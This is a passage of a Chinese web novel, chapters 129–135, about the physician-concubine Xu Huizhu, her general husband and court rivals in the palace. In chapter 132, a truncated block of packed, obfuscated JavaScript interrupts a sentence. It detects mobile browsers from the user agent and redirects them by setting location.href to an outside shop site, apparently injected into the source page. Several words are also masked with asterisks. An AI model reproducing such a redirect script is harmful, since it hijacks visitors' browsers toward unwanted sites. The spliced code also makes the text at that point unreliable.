两人之间的气氛,莫名充满**味。
“徐氏慧珠见过曹统领。”徐慧珠是知恩投报之人,曹文救过她的性命,救命之恩当银子为报。
自坑到叶侯府十万两银子,徐慧珠日日携带银票,惦记着哪日遇上曹文,给了人家银票,清了恩情。
“徐夫人,里面请。”曹文一副公事公办的姿态,待徐慧珠跨过门槛,曹文关上房门,“请大将军候在门外,护龙卫职责所在,闲杂人等不得入香凝殿,违令者杀无赦。”
“大将军且安心,有本统领在,无人能伤到徐夫人分毫。”
姜夜沉刚怼完曹文,就被曹文现场报复回去。
这就是……现世报?
“曹统领,你……”
第130章:她是担心,他会杀她?
姜夜沉只得忍下,他总不能在香凝殿大门前和曹文打一架。
凝玉公主美目喷火,恨不能烧死徐慧珠。
姜夜沉的眼睛几乎黏在徐慧珠身上,连曹文和徐慧珠说话时,也散去冷意。
凭什么?
“**,轻点儿,你弄疼本宫了。”凝玉公主张口就骂。
太医院不缺名贵药材,凝玉公主小月子坐完,气色恢复近半,至少明面上看,凝玉公主有精力勾引男人、有力气骂人。
把脉也疼?
凝玉公主鸡蛋里挑骨头,看徐慧珠不顺眼罢了。
“疼吗?”
徐慧珠捏住凝玉公主的手腕,轻笑道,“奉劝公主殿下安静点,忍耐些,莫影响臣妇把脉。”
“臣妇怕掌控不好力道,捏碎公主殿下您的手腕……”
徐慧珠稍微用力,凝玉公主痛到脸色煞白。
曹文眼里染上异色,徐慧珠不惜在他的面前暴露武功,是要告诉他,先前他对她的救命之恩掺了水分,就算他不救,她可轻松绞杀敌人,能活命。
她是担心,他会杀她?
所以,她当机立断拉他入伙,以分赃五万两银子为自己买命,倒是聪慧,用得是叶侯府的银子,她全无损失。
想通这些,曹文看向徐慧珠的眼神,变了。
徐慧珠明媚一笑,“公主殿下情绪不稳之时,曹统领可命人寻来软布绑住手脚,以防公主殿下在思绪混乱时伤着自己。”
又说,“切记不得在殿内置放铜镜,公主殿下容貌受损,不知恢复何年。再刺激心神,引发过激行为,就大不妙了。”
“我和师傅需同太医们细致研究公主殿下的病,身体易愈,脑子若得病,就是**烦了。”
曹文竟接话,“我会如实禀报皇上,若皇上应允,看守此处的护龙卫会谨遵医嘱。”
凝玉公主哪看不出两人这是当她的面,一唱一和,“徐慧珠,**,你……你岂敢?本宫是公主之尊,岂容你欺辱?”
凝玉公主的怒火,几欲烧死自己,却伤不得旁人分毫。
徐慧珠不过试探,没想到曹文如此配合。
倒是有些出乎她的意料。
徐慧珠取下随身携带的荷包,递给曹文,“曹统领,这里面是五万两银票,你上次落下了,如今物归原主。”
曹文接过荷包,寻常布料,绣着常见的树叶图案,徐慧珠敢给他,就说明这枚荷包不是出自她的手。
“徐夫人倒是好记性。”
两人旁若无人地聊上了,似是忘记凝玉公主的存在。
“哈哈哈……”凝玉公主突然想到什么,眼睛发亮,笑得癫狂,高声尖叫,“姜夜沉?”
“本宫发现了一个天大的秘密,徐慧珠这个**一支红杏出墙去,怕是早就勾搭上曹文,她给曹文绣荷包不说,还偷你的银子……”
“她啊,定是嫌弃你不能人道。”
“姜夜沉,你听到了吗?徐慧珠背叛了你,快快快,杀了她。”
殿门打开,哪有姜夜沉的身影。
凝玉公主的神情僵硬在脸上,如同白吞了一大口苍蝇。
徐慧珠取出两只瓷瓶,“墨绿瓶里的药丸,只需小小一颗,能让人变成哑巴。墨白瓶里的药丸能让人失控,不停歇地抽打自己的嘴巴,持续半个时辰。”
“曹统领,公主殿下再骂你,你可挑选一种,喂她尝尝。”
徐慧珠都这般威胁了,凝玉公主仿佛不知惧怕为何物,她怒骂道,“**,你就是个毒妇,本宫定会向姜夜沉揭穿你的真面目,哈哈哈……姜夜沉不会再要你了。”
曹文向前一步,两只瓷瓶尽数打开,回头问一句,“如果两种药丸同时服下,会是什么样的效果?一个哑巴疯狂抽打自己嘴巴子,哪怕抽打的血肉模糊,也叫不出一声来?”
凝玉公主身子一软,瘫在地上,终于知晓怕了。
许久之后,殿内只余下凝玉公主一人,徐慧珠和曹文不知何时已离开。
天色渐暗,也不见宫人来点灯,四周安静的可怕,明明护龙卫守在殿门处,凝玉公主却听不到他们的脚步声,感受不到活人的气息。
直到凝玉公主听见一道熟悉的声音……
“凝玉?”皇后娘娘这些日子忙着准备太子大婚,心里又怨着凝玉公主不该毁了叶侯府这门亲,甚少来看她。
皇后娘娘疼爱凝玉公主,一旦遇事,还是以太子为先。
皇上下旨赐太子和暮歌大婚,起初,
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皇后娘娘心里千般不愿,后来她一合计,才深知皇上的良苦用心。
相府是大皇子李明远的依仗,可暮歌也是钱氏女,那就借这门亲事抢了相府,也是可能。
“滚开,本宫要入殿看望凝玉公主。”皇后娘娘站在殿外呼喊好几声,也不见凝玉公主应一声。
“凝玉,你还好吗?”
“凝玉,你……你打开门让母后看一眼好不好?等太子大婚后,母后就去求皇上,解开你的禁足。”
皇后娘娘没见着凝玉公主,便想着去一趟伊香殿探望暮歌,一来,同暮歌解释,太子醉酒殴打她,是一场意外。
二来,婆母与儿媳亲近,提前培养感情,以彰显她对暮歌的重视。
三是,她听太子说,那晚引他去梅林的小太监面生,难道?
御花园里,徐慧珠和姜夜沉并肩站在一株佛手金桂下。
“佛手金桂乃桂花树里的名贵品种,培育十多年才能成形,过程十分不易,没想到御花园就有十株。”
徐慧珠手指另一株开满墨黑花色的桂花树,“还有墨丹桂,更是桂花树里的极品,这里一种就是五棵。”
“夫人若喜欢,我明日面见皇上,各讨要一株栽种在夫人的主院。”姜夜沉说道。
入宫时匆忙,徐慧珠只驻足欣赏了一小会儿,忙完正事后,她便也“假公济私”一回,欣赏够御花园的“绝世美色美景”,就当另一半诊金了。
“还是别了吧,将军要真是给我搬回府两株名贵桂花树,我怕睡不着了。日日接帖子手软心烦,人家要过府赏花,我又不好意思**拒绝,还得花费巨资请师傅精心照料……”
“不如,我想赏花时,将军就悄悄徇私一回带我入宫,咱们只赏免费的花。”
姜夜沉笑着打趣,“本将军何其幸运,娶到一位会精打细算过日子的夫人啊。”
两人有说有笑,画面美好到让人不忍破坏,可这一切落入皇后娘娘的眼里,恰好她从伊香殿而来,心里的怒火熊熊燃烧起来。
皇后娘娘本就厌恶姜夜沉和徐慧珠,凭什么他们是一对幸福璧人,而太子和凝玉诸事不顺。
邪念滋长,皇后娘娘的眼里,盛满杀意……
第131章:臣乃无妻之人,只能宠妾
皇后娘娘觉得,定是,这一对恶男贱女克着太子和凝玉。
一定是。
“呵,都说将军宠妾如妻,今日本宫也算见识了。”
在安国,男人宠妾灭妻一旦被闹到明面,必遭世人唾弃,丢官罢爵也是有例可循。
所以,即便天下至尊的皇上,哪怕再恩宠厉贵妃,也不忘给足皇后娘娘体面。
每回遇事,十有**,皇上对皇后娘娘的态度“轻拿轻放”,训斥为主,落到实处极少。
“皇后娘娘教训的是,臣乃无妻之人,只能宠妾了。”
敢同皇后娘娘犟嘴,就属姜夜沉。
他无妻可宠,不宠妾,那宠谁?
姜夜沉在提醒皇后娘娘,他不能娶妻,还不是当初凝玉公主手执金簪抵在自己的脖子,以死相逼,逼他发誓。
他也是顺势而为。
一战失败,皇后娘娘迅速调整策略,“将军刚才好大的口气,御花园里的名贵桂花树何时说挖就能挖走,用来讨好一个妾?”
“将军难道不知,就是十个徐慧珠,也抵不过一株佛手金桂或墨丹桂的价值。”
姜夜沉脸色渐冷,徐慧珠知道,他生气了。
“慧珠于臣来说,价值连城,岂是一株桂花树可比拟的。”
“皇后娘娘请明示,臣哪里惹您不喜,才屡次当面羞辱臣的家眷?”
皇后娘娘气恼不已,“大胆。”
“皇后?”皇上从另一条道现身,“皇后,你的度量呢?”
皇上偏心姜夜沉,又不是头一回了,皇后娘娘只得忍下心里的憋屈,“臣妾……知错。”
皇上问过徐慧珠暮歌和凝玉公主的身体情况,便给了恩典,“徐氏,你既喜欢桂花,日后随夜沉常入宫便是,本皇给你的那枚令牌可在皇宫畅通无阻,好生保管。”
徐慧珠已在皇上和元乐长公主身上体会到“爱屋及乌”的好处,欢喜谢恩。
“臣妇谢皇上厚赏。”
说了一会儿话,皇上要回君皇殿,看见皇后娘娘未有离开的意思,说道,“皇后也赏桂花?”
“得空去探望钱氏女,她将是东宫太子妃,是你的儿媳,厚待些。”
“是,臣妾遵旨。”皇后娘娘心想,皇上终归偏心太子。
皇后娘娘想的通透,太子是皇上亲定的国之储君,偶有犯错,不是什么大错,皇上不偏袒太子,难道给大皇子李明远做脸?
呵。
皇上心里极重尊卑嫡庶。
徐慧珠瞧见皇后娘娘脸上突然浮现的喜色,觉得奇怪,皇上哪句话取悦了她?
要是徐慧珠知晓皇后娘娘心里的想法,怕是当场骂一句:蠢妇如斯,药石无灵。
两人顺着宫道,往宫门方向走。
岁月静好,若忽略这里是皇宫的话。
徐慧珠走在姜夜沉的身侧,扮得小鸟依人,“将军陪我招摇这一圈,今夜有人该无眠了。”
她说的是伊香殿里的凝玉公主,还有郡王府里的荣慧,这两位,中了一种叫“姜夜沉”的剧毒。
马车停在将军府的大门前,徐慧珠掀开帘子,就瞧见一张熟悉的脸。
叶文瑞等了她很久。
他冲她笑,笑的格外好看。
徐慧珠得承认,叶文瑞长得一张好皮囊,如今转了性情,这般看着顺眼顺心了些。
“徐慧珠,我来同你告别,谢你助我离京。”叶文瑞瞪着一双亮晶晶的桃花眼,盯着徐慧珠看。
他心想:多看几眼,待到了西疆,他就得靠着画像度日了。
“叶世子要去西疆,那就祝叶世子一路顺风。”
“咦,叶世子空着手来的?只张嘴言谢?也怪我,忘记和叶世子说清楚,我这个人比较喜欢实打实的东西,比如黄金白银、珠宝字画。”
徐慧珠只觉得换了灵魂的叶文瑞有点儿怪异,看她的眼神很怪,还冲她说好些莫名其妙的话。
她和叶文瑞……很熟吗?
叶文瑞神情一滞,他积攒成山的话,被徐慧珠这一打岔,忘得精光。
见叶文瑞愣神,徐慧珠笑道,“叶世子可觉得我俗,世人皆知,俗人才喜好黄白之物。”
姜夜沉坐回马车里,他倒要亲耳听听,叶文瑞真正想说什么。
好大的胆子,连“徐夫人”都不叫,竟叫她“徐慧珠”。
叶文瑞难道不知,徐慧珠已是有夫之妇?
“大俗即大雅。”
“徐慧
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珠,你知道吗?你很好。”叶文瑞变得会说话了,不,应该说,刚刚偷吃了蜜果子,连说出的话都散发着甜滋滋的香味。
这回,轮到徐慧珠愣神,她差点脱口而出:叶文瑞,你是不是脑子有病?从前一心害我,现在变着花样夸我,恕我无福消受。
叶文瑞又说,“徐慧珠,你我定下三年之约,可好?”
“三年之约?我和你,叶世子?”徐慧珠下一句想说的是,她得是有多闲,和叶文瑞定劳什子三年之约。
“是。”
“三年之约。”
“三年的时间,我去西疆拼出一条康庄大道。”
“徐慧珠,你若过得不幸福,可随时后悔,不可强逼自己、委屈自己,只要你写信告诉我,我便从西疆快马加鞭赶回京城,带你离开……”
叶文瑞越说越激动,他朝徐慧珠走近,一步一步,越发近了。
直到一个人影从马车里窜出来,横在徐慧珠和叶文瑞中间。
姜夜沉的脸,又黑又冷,“叶世子今儿吃过熊心豹子胆?挖墙脚挖到将军府……”
叶文瑞迎上姜夜沉的目光,“大将军何必动怒,我不过……实话实说罢了。
“窈窕淑女君子好逑,大将军占得先机,却未必能笑到最后。”
“人心易变,大将军若变了心,难道还不容旁人怜香惜玉?”
……
姜夜沉懒得和叶文瑞浪费唇舌,不过是一只嗡嗡叫的苍蝇罢了,不能拍死,那就赶走。
他的将军府,容不得阿猫阿狗撒野。
“大福,你亲自送叶世子回府,顺道告诉叶侯爷,叶世子此去西疆路途遥远,本将军特派两名锦衣卫保护叶世子安危。”
名为护送,实则折腾,去西疆的路,有叶文瑞受的。
姜夜沉补一句,“望叶世子保重。”
叶文瑞心情大好,有些话,他怕自己不说,会后悔。
唯一美中不足的是,话被姜夜沉听了去,平白破坏气氛。
不知,他说的话,能不能在徐慧珠的心里,泛起一圈涟漪?
但愿吧。
“徐慧珠?”叶文瑞眼巴巴望着徐慧珠。
“我走了......”
第132章:先是威逼,再是利诱
奈何,叶文瑞的面前横着一座“山峰”,遮掩住徐慧珠的身形。
真真是小气。
“将军说得对,山高路远,望叶世子保重。”
徐慧珠只得干巴巴应付一句,她不敢多说,姜夜沉这家伙借宽大衣袖掩护捏她的手指,骨头快被他捏碎。
姜夜沉在警告她?
还有最后一句,徐慧珠没说:叶世子最好扎根在西疆,莫归京城。
叶文瑞看她的眼神,腻的很,瘆得慌。
回到主院,徐慧珠心里纠结一番,还是拿出一堆瓶瓶罐罐,仔细标注,打包妥当,交待金夏送到叶侯府,亲手交到叶夫人手里。
徐慧珠想了想,问道,“金夏,要是……要是撞见将军,你怎么解释?”
金夏答道,“夫人和叶夫人私下姐妹相称,将军府上下皆知,奴婢就说给叶夫人送……补药。”
徐慧珠没忍住,扑哧笑出声,金夏啊,还真是个实心眼。
“补药?早不送晚不送,叶文瑞前脚出现将军府大门前,后脚我就让你去给锦言姐姐送补药,这和此地无银三百两,有何区别?”
金夏挠头,很快就明白徐慧珠的意思,“奴婢就如实说,夫人派奴婢赠药,明面上为护叶世子的性命,实则保证叶世子活蹦乱跳地活着,好给凝玉公主添堵。”
徐慧珠笑着点头,“金夏聪慧,赏一月俸银。”
叶文瑞的死活,和她无半点关系,就当看在锦言姐姐的脸上,战场凶险,叶文瑞去西疆,博的是前途,拼的是命。
再说,叶文瑞要是**,谁来克凝玉公主?
徐慧珠原本促成凝玉公主和叶文瑞这一对“金玉良缘”,让他们长长久久在一起,日日折腾,夜夜折磨。
谁成想,叶文瑞半路醒悟,坏了她的一番布局。
好在,过程有变,结果满意。
叶侯府里,李锦言同叶文瑞说起徐慧珠。
“慧珠有心了,这些药丸,关键时候,能治病救命。”
“文瑞啊,做人不能忘恩负义,慧珠的恩情,你要谨记于心。”
“日后啊,你如何孝顺我这个亲娘,就得如何孝敬慧珠姨母,记住了没?”
叶文瑞只觉得堵心,“母亲,我和徐慧珠同龄,怎能叫她姨母,我是叫不出口的,母亲万万不能逼我。”
时机未到,暂且保守秘密。
他对徐慧珠生出的情愫,当事人知道就行。
李锦言伸出手,一巴掌拍在叶文瑞的头上,训斥道,“没大没小,没规没矩,怎能张口叫姨母大名?”
“同龄又如何?长辈就是长辈,一日为姨母,终生为姨母,要是让我知道,你敢对姨母不尊不敬不孝,我就不认你这个儿子,哼。”
叶文瑞恶趣地想,要是告诉母亲,他对“姨母”生出旁的心思,还同“姨母”定下三年之约……母亲会不会惊的跳起来?
李锦言训了叶文瑞一番,又拉着叶文瑞絮絮叨叨嘱咐,直到夜深,才得以清静。
叶文瑞满眼深情,一遍又一遍抚摸那些瓷瓶,仿佛他摸的不是瓷瓶,而是徐慧珠的脸颊。
“徐慧珠,我就知道,你会担心我。”叶文瑞喃喃道,“徐慧珠,等我归来。”
“不过,徐慧珠,我在京城为你留下了礼物,是惊喜呢,盼你开怀。”
叶文瑞“发疯”,徐慧珠想着人就要去西疆了,隔着千山万水,就没放在心上。
也因着,她好忙。
凝玉公主和暮歌的病,太医不便详询,也不能细致检查,这可忙坏了徐慧珠,每日随姜夜沉进宫,伊香殿和香凝殿两头跑。
才小半月,人瘦了一圈。
这一日,两人刚入宫门,就瞧见一顶软轿停着,为首太监恭敬行礼,“徐夫人请上轿。”
徐慧珠感动的眼圈发红,终于不用累脚累腿了。
皇宫那么大,半日下来,她都想把脚抱在怀里,还想求姜夜沉背她出宫。
皇上的银子,真难赚。
“将军,是你……你求了皇上?”徐慧珠何尝不知,在皇宫里,皇上出行配置龙撵,皇后乘凤驾,元乐长公主特许乘凤驾,厉贵妃坐的是肩舆……
姜夜沉竟为她求来一顶软轿,她享受的待遇比厉贵妃还优。
关键是,皇上允了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848201|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>这是不是又一次证明,皇上对姜夜沉的恩宠,宠上天了。
姜夜沉点头,他做了好事,自然得留名,“徐慧珠,你是我的夫人,疼你护你,是我的天职。”
这时,李生德来请,“奉皇上口谕,请大将军速去君皇殿议事。”
徐慧珠赶忙说,“将军快去忙吧,晚些时候,宫门处相见,我等你一同回家。”
姜夜沉惯会给人安排活计,“李大监今日可忙?”
李生德一时不知姜夜沉喉咙卖的什么药,如实说道,“老奴每日最重要的事情,便是侍奉皇上,不敢说忙。”
姜夜沉的冷脸,难得裂开一条笑缝,“李大监不忙就好。”
一刻钟后,李生德陪着徐慧珠出现在伊香殿,惊着了厉贵妃。
李生德心里苦笑,又无可奈何,总觉得今日一时不察上了大当,被姜夜沉和徐慧珠这一对狐狸夫妻坑惨。
姜夜沉先是威逼,徐慧珠再是利诱,李生德半推半就为徐慧珠撑撑腰。
“李大监,可是皇上有事?”厉贵妃自是不信李生德今日什么活都不干,专门陪徐慧珠。
李生德是谁?
皇上身边的大太监,是皇上的影子。
“回禀贵妃娘娘,皇上此刻正在君皇殿同朝臣议事。”
徐慧珠去偏殿为暮歌复诊,李生德被请进厅堂问话。
滑不溜秋的老泥鳅,厉贵妃还不能在一个奴才面前摆她的贵妃架子。
厉贵妃认定李生德和徐慧珠半道遇见,一起来的伊香殿。
只是,李生德今日好生奇怪,他来了半晌,也不说来意。
干站着?
厉贵妃抬眼,正巧看见殿门口停着的软轿,心里好一阵酸涩,贵妃出行坐的是肩舆,徐慧珠不过是将军府的妾室,凭什么坐上了舒服的软轿?
徐慧珠比她尊贵?
“听说大将军心疼徐夫人走路累着,向皇上求了软轿。”
“本宫以为是传言,没想到竟是真的,大将军这般爱护徐夫人,堪称京城典范。”
“只是,徐夫人的身份,到底逾规。”
“本宫也是担心……”
第133章:看着刺目,瞧着灼心
若徐慧珠听见,心里先接一句:关你屁事。
嘴上接话:在京城,谁不知道皇上二十年如一日恩宠贵妃娘娘,近朱者赤,将军自是向皇上学习。
当然,这些话,李生德不能说。
“是,大将军爱护徐夫人,人尽皆知。”
“说来,这顶软轿还是大将军托工部大师打造,皇上说大将军自个儿出银子,就不说什么了。”
李生德一句话,将厉贵妃想要借软轿发挥的话,堵死。
李生德的意思,软轿一事,由姜夜沉起,但皇上已开金口,就容不得旁人多嘴议论。
厉贵妃又不傻,听得懂。
直到徐慧珠来复命,“回禀贵妃娘娘,暮歌姑娘的外伤渐好,骨折的几处还得仔细养着。”
“只是,臣妇听伺候的宫人说,暮歌姑娘自清醒后,夜夜受噩梦侵扰……”
厉贵妃不想听徐慧珠废话,殿外的那顶软轿,看着刺目。
徐慧珠这个人,瞧着灼心。
她起身,打断徐慧珠,“可怜见的孩子,本宫这就去看看。”
偏偏,徐慧珠在身后补一句:贵妃娘娘心善,有贵妃娘娘开解,相信暮歌姑娘会想开,心病自愈。
明明平坦的青石道,厉贵妃差点被不存在的石子绊倒,身形一晃,扭疼了腰。
“啊……”
徐慧珠快步上前,着急询问,“贵妃娘娘,您伤着了?”
厉贵妃闻着徐慧珠身上散发的药味儿,只觉得心口处堵得慌,理智堪堪维持不住。
“本宫……无碍。”
“徐夫人,这个时辰该去香凝殿看诊了,听说昨夜凝玉公主又闹了,本宫就不留你,徐夫人?”
李生德跟着徐慧珠离开伊香殿,厉贵妃还没压下心里的震惊:李生德今日供徐慧珠差遣?
怎么会?
殊不知,徐慧珠刚到香凝殿,那边太医就被请进伊香殿,说是厉贵妃扭伤腰。
连一向冷静自持的厉贵妃,都快稳不住,更何况性情急狠的皇后娘娘和凝玉公主这对母女。
厉贵妃说得没差,昨夜凝玉公主又发疯,她跨不过伊香殿的门槛,便将火气撒在守门的护龙卫身上。
昨夜守门的护龙卫是小十和十一,双双伤了脸。
徐慧珠看到两人脸上的血痕,也是相当震惊,她从药箱里拿出两瓶药膏,分别递给他们,“上好的生肌膏,一两银子,买吗?”
小十和十一愣住,一时不知作何反应。
不是免费赠予,而是正常买卖,明明价值百两银子一瓶的生肌膏,卖他们一两银子?
买,还是不买?
“愣着做什么,掏银子啊。”
戴着鬼面具的曹文走了过来。
“是,遵令。”小十和十一赶忙掏出银子,谢过徐慧珠,手里握着生肌膏,脸上神情未生变化,心里却暖融融的。
“徐夫人挺准时。”曹文今日的话,同昨天一样多。
“奉旨办事,怎能迟到。”徐慧珠答道。
“徐夫人,里面请。”曹**了一个请的手势。
不知,是不是徐慧珠的错觉,她看不见,但感觉到鬼面具后面的那张脸,在笑。
徐慧珠心下奇怪,他在笑什么?
李生德记着为徐慧珠撑腰的任务,自是要跟着在凝玉公主面前露脸,有他在,凝玉公主想要打骂徐慧珠,也得忍耐。
谁知,李生德刚上前一步,就被曹文挡下,“来人,为李大监搬一把椅子,沏壶好茶。”
又说,“徐夫人看诊需半个时辰,李大监坐着等便是。”
李生德目光微闪,曹文这座冰山哪日融化的?他和徐夫人很熟?
还有,曹文身上的气息,很不对劲啊。
李生德这下明白,姜夜沉让他为徐慧珠撑腰,以防厉贵妃和凝玉公主欺辱了去。
还让他挡一挡曹文,可?
曹文此人,除了皇上,谁挡得住?
李生德惯会察言观色,“曹统领难得体贴一回,本大监承这份情。”
“正好本大监累了,得歇会儿脚。也渴了,得喝一口茶。还饿了,得吃一碟点心。”
曹文一挥手,小十侍奉茶点,十一撑起布伞遮阳。
准备的倒是充分。
“徐夫人先忙,老奴就在此候着。”
“大监先歇着,只是,这糕点瞧着味佳,大监若舍得,给我留一两块。”徐慧珠说完,跟在曹文身**了伊香殿。
她并未看到曹文看了一眼十一,紧接
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着,小十一出现在御膳房,“**”了半数的点心。
徐慧珠可不信巧合,昨日遇见曹文是巧合,今日又见,还是巧合?
这家伙,冲她来的。
难道?
“曹统领何意?不妨一次性说清楚,是嫌五万两少了?”
“当初,不是说好,一人分得五万两……”
“银子已给了曹统领,钱到债清。”
徐慧珠觉得,有必要同曹文说清楚道明白。
姜夜沉曾说过,曹文此人心狠手辣、无情无性,沾惹不得,也得罪不起。
她听话,更惜命。
“五万两?”曹文猛然停下脚步,回过头。
徐慧珠一头撞上曹文的胸口,抬眼,对上鬼面具,她吓得一抖。即便站在阳光下,这张鬼面具再配上萧杀冰冷气息,还是会让人不寒而栗,浑身发冷。
“徐夫人……怕我?”
“不管怎么说,我是徐夫人的救命恩人,救命之恩,银子是清不了的。”
“徐夫人,你说呢?”
曹文一口气说了很多话,每一句话都显得……很无耻。
也是事实。
就是,让徐慧珠觉得,曹文有点儿欺负人。
徐慧珠原本想着,曹文要是嫌五万两银子少,大不了她咬咬牙再分他一万、两万……五万两。日后不见面不来往,银子没了就没了,反正,这笔银子,也是“天降横财”。
偏偏,曹文不要银子。
“曹统领说得对,救命之恩,不能用银子偿还。”
“那么?”
徐慧珠觉得曹文好生奇怪,和传闻的护龙卫曹统领不同。
他为何就“纠缠”上了她?
“难道曹统领也看话本子?希望我学话本里的女子说一句‘公子救命之恩,小女子无以回报,只得以身相许’?”
“实在抱歉,我已嫁给大将军,有夫之妇。”
万幸,曹文戴着鬼面具,遮掩住他涨红的脸。
“咳咳咳……”
曹文想要解释,他对徐慧珠并无男女之情。
他也不知自己怎么了,从相遇的那一刻起,他就觉得徐慧珠的灵魂好有趣,一个女子,怎么能生得这般有趣?
有趣到让他想要接近……
第134章:公主殿下被教训了一夜
他们的对话,落入凝玉公主耳中,就是一对奸夫**行苟且。
凝玉公主满目恨意,无声控诉。
这一回,她学乖了。
昨夜,凝玉公主再次发疯,挠破两条“看门狗”的脸,曹文当即下令,命人拿来软布绑住她的手脚,将她禁锢在床榻上。
整整一夜。
直到她骂累了,累到睡着。
醒来,是被强烈的尿意憋醒。
任她哭喊到喉咙嘶哑,没人理她,伊香殿里,不曾有烛火亮起。
身下的锦被,湿透,又暖干。
唯有腥臭味,漂浮在空气里,散不去。
“臣妇问公主殿下安。”
凝玉公主难得没张口骂她“**”,只冷哼一声,主动伸出手臂,撩起衣袖,“看快点,本宫要午歇。”
“徐慧珠,本宫看见你就心烦。”
午歇?
这个时辰?还没到午膳……
徐慧珠也是无语,凝玉公主连找借口懒得过脑子。
真是蠢坏蠢坏的疯子。
徐慧珠自是发现凝玉公主看向曹文时,生出的浓浓惧意。
看凝玉公主的反应,徐慧珠便知道,她昨日才提议,曹文这么快就采纳,并且实施。
果然是护龙卫的办事效率。
徐慧珠一边收拾药箱,一边装作闲聊提说叶文瑞,“叶世子离京前找到我,求我带一句话给您。”
“他说,从前的叶文瑞**,日后的叶文瑞祝愿凝玉公主,此生不能事事得偿所愿。”
“因为,他不许啊。”
“对了,还有一件事,初香不是从黑市买来的堕胎药,那药是叶文瑞给的……”
身后,传来凝玉公主的嚎叫声。
声未落,就瞧见两名面蒙黑巾的女子现身,她们的手上拿着软布……
“夫人?”
“为夫来接你回家。”
徐慧珠刚跨过香凝殿的门槛,手就被姜夜沉牵住。
他这是宣示**?
徐慧珠笑着回应,“好,我们回家。”
当着外人的面,自家男人的面子,得给足。
姜夜沉看向曹文,“坞国君王递交国书,愿支付百万巨银,割让两座城池,以赎回察尔通王子和夏尔花郡王。”
“据密报,坞国太子察尔勉派出大量死侍,欲刺杀察尔通,令其在安国的土地上。”
“本将军举荐,由曹统领亲自护送‘贵重货物’到南疆,协助陈青阳谈判……”
“毕竟,曹统领日日给凝玉公主守门,也不合适。”
是皇上下的旨意,却被姜夜沉用来气曹文。
凝玉公主和暮歌的身体,恢复不错,徐慧珠就不用日日入宫,隔几日调整方子即可。
毕竟,徐慧珠的本职是“徐夫人”,又不是正经太医,打理将军府庶务、尽心伺候姜夜沉……才是她的活。
徐慧珠这一觉睡得到午膳,是被饿醒的,梦里正准备吃香喷喷的烤乳鸽,姜夜沉凭空出现,抢走她的食物,她气不过,一口咬在他的胳膊上。
入眼,姜夜沉的胳膊上,一排牙印。
破了皮。
是梦,成了真?
徐慧珠擦了一下嘴角的口水,舌尖发涩,“将军可看到,是我咬的?”
“夫人饿极了?”姜夜沉这话说的正经,听着别有意思。
“都怪为夫身子残疾,没给夫人吃过一顿饱饭……”
她腹中饥饿,不是情欲贪吃。
不就是咬一口他的肉,这人就不依不挠,非得撩拨她。
堂堂杀神将军,私下没个正经。
其实,姜夜沉先醒来,正心情欢愉地欣赏徐慧珠的睡颜,谁成想,徐慧珠嘟囔一句“姜夜沉,还我烤乳鸽,不然我咬死你”,她真就下口咬了。
他,愣神到忘记反应。
倒不是来不及反应,他若一掌挥过去,伤了她。
还是他心疼,他后悔。
“夫人,我想……咬回来。”
人影压下来,徐慧珠的唇“受了大苦”。
偏偏,姜夜沉打趣道,“夫人日后可省下口脂,我亲自为夫人咬出来的口脂,更红润欲滴些。”
徐慧珠气不过,手摸上姜夜沉结实的胸膛,许他占她便宜,那就允她不吃亏。
两人皆好战,他攻她的城,她掠他的地。
硝烟弥漫战场,一时辨不清谁势强谁力弱,决胜的最
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后一剑,他们却默契地鸣金收兵,暂且握手言和。
仗,还能这样打?
大福一开始守在门口,这会儿人已退到院外,一张脸通红,红到耳根。
就是在这一刻,大福埋怨自己武功高强,耳力惊人。
不行,他得拿出诚意,感动夫人,再求夫人赐婚。
“大福,你又在偷懒?”金夏一手拿剑一手提着糕点。
“请你吃糯米糕,春风酒楼的糯米糕,夫人赏我的。”
“请我吃?”大福明知故问。
金夏将手里的油纸包扔到大福的怀里,怼道,“大福,你这么说,良心不会痛吗?夫人赏我春风酒楼的糕点,哪回我没给你留?哼。”
大福的脸,更红了。
“金夏,我……我……”大福说话都结巴了。
“我什么我?大福,你脸红个什么劲?我就说你几句而已,你……该不会哭吧,哈哈哈……”
金夏一向粗枝大叶,更不通男女之情,她没发现大福的异样,笑够之后,转而说起正事。
“下个月就是皇家狩猎,剑舞开场,我有点儿紧张,怕给将军和夫人丢脸。”
“大福,我先给你舞一段,你帮着看看哪里还需要调整、改进?”
金夏在院外说的话,已休战的两人自是听的全程。
“徐慧珠,说说你的打算?”
徐慧珠算是摸清姜夜沉的脾性,和她谈正事,或生气时,叫她“徐慧珠”。床榻撩拨,或彰显恩宠之时,便叫她“夫人”“慧珠”。
前一瞬,她和他肌肤相亲、缠绵悱恻。
下一瞬,他同她聊正事,他是将军,她是幕僚。
倒是无缝衔接,连一丝尴尬的气氛不曾有。
“皇家狩猎,剑舞开场,若皇上看得尽兴,望将军借机提议,赏赐剑舞队女子参加狩猎的资格。”
“将军,我相信剑舞队的实力,定能让皇上惊艳,也让众人见识到女子的力量。”
“巾帼不让须眉,不是一句空话。”
姜夜沉接话,“然后呢?”
“徐慧珠,再说说你的后招?”
“顺道坦诚,你打算如何利用我?”
第135章:夫人的剑舞队
徐慧珠惊喜于姜夜沉支持她的想法,本来,她就是要寻机会坦诚。
她想做的事情,若无姜夜沉帮忙和支持,极难成事。
“将军,如果剑舞队在皇家狩猎中表现惊艳,请将军当众提议,安国设置女子武考,选取女子武状元……”
徐慧珠不敢一口吃个大胖子,她心里清楚,女子想要在这世道站稳,不能妄想一朝改变,得依仗男人,再利用男人,一点一点“蚕食”男人们的固有思想。
女子参加武考,易于文考。先有女子武状元、女将军……再到女子文状元、女官。
一步一步来。
徐慧珠一人之力或许改变不了什么,她若创造出无数个志同道合的“徐慧珠”,众人使力呢。
“女子参加武考?再选出女子武状元?”
“徐慧珠,你想出的计策还真是一环扣一环,将我‘利用’得……很好。”
世间至少一半男人若听到徐慧珠的想法,定会指着她的鼻子,骂她是坏纲常的疯子。
女子就该困在后宅里,碌碌一生,不配生出傲骨,亦不配抬头看天问一句:外面的世界是不是很精彩?
这世道的天,是男人的。
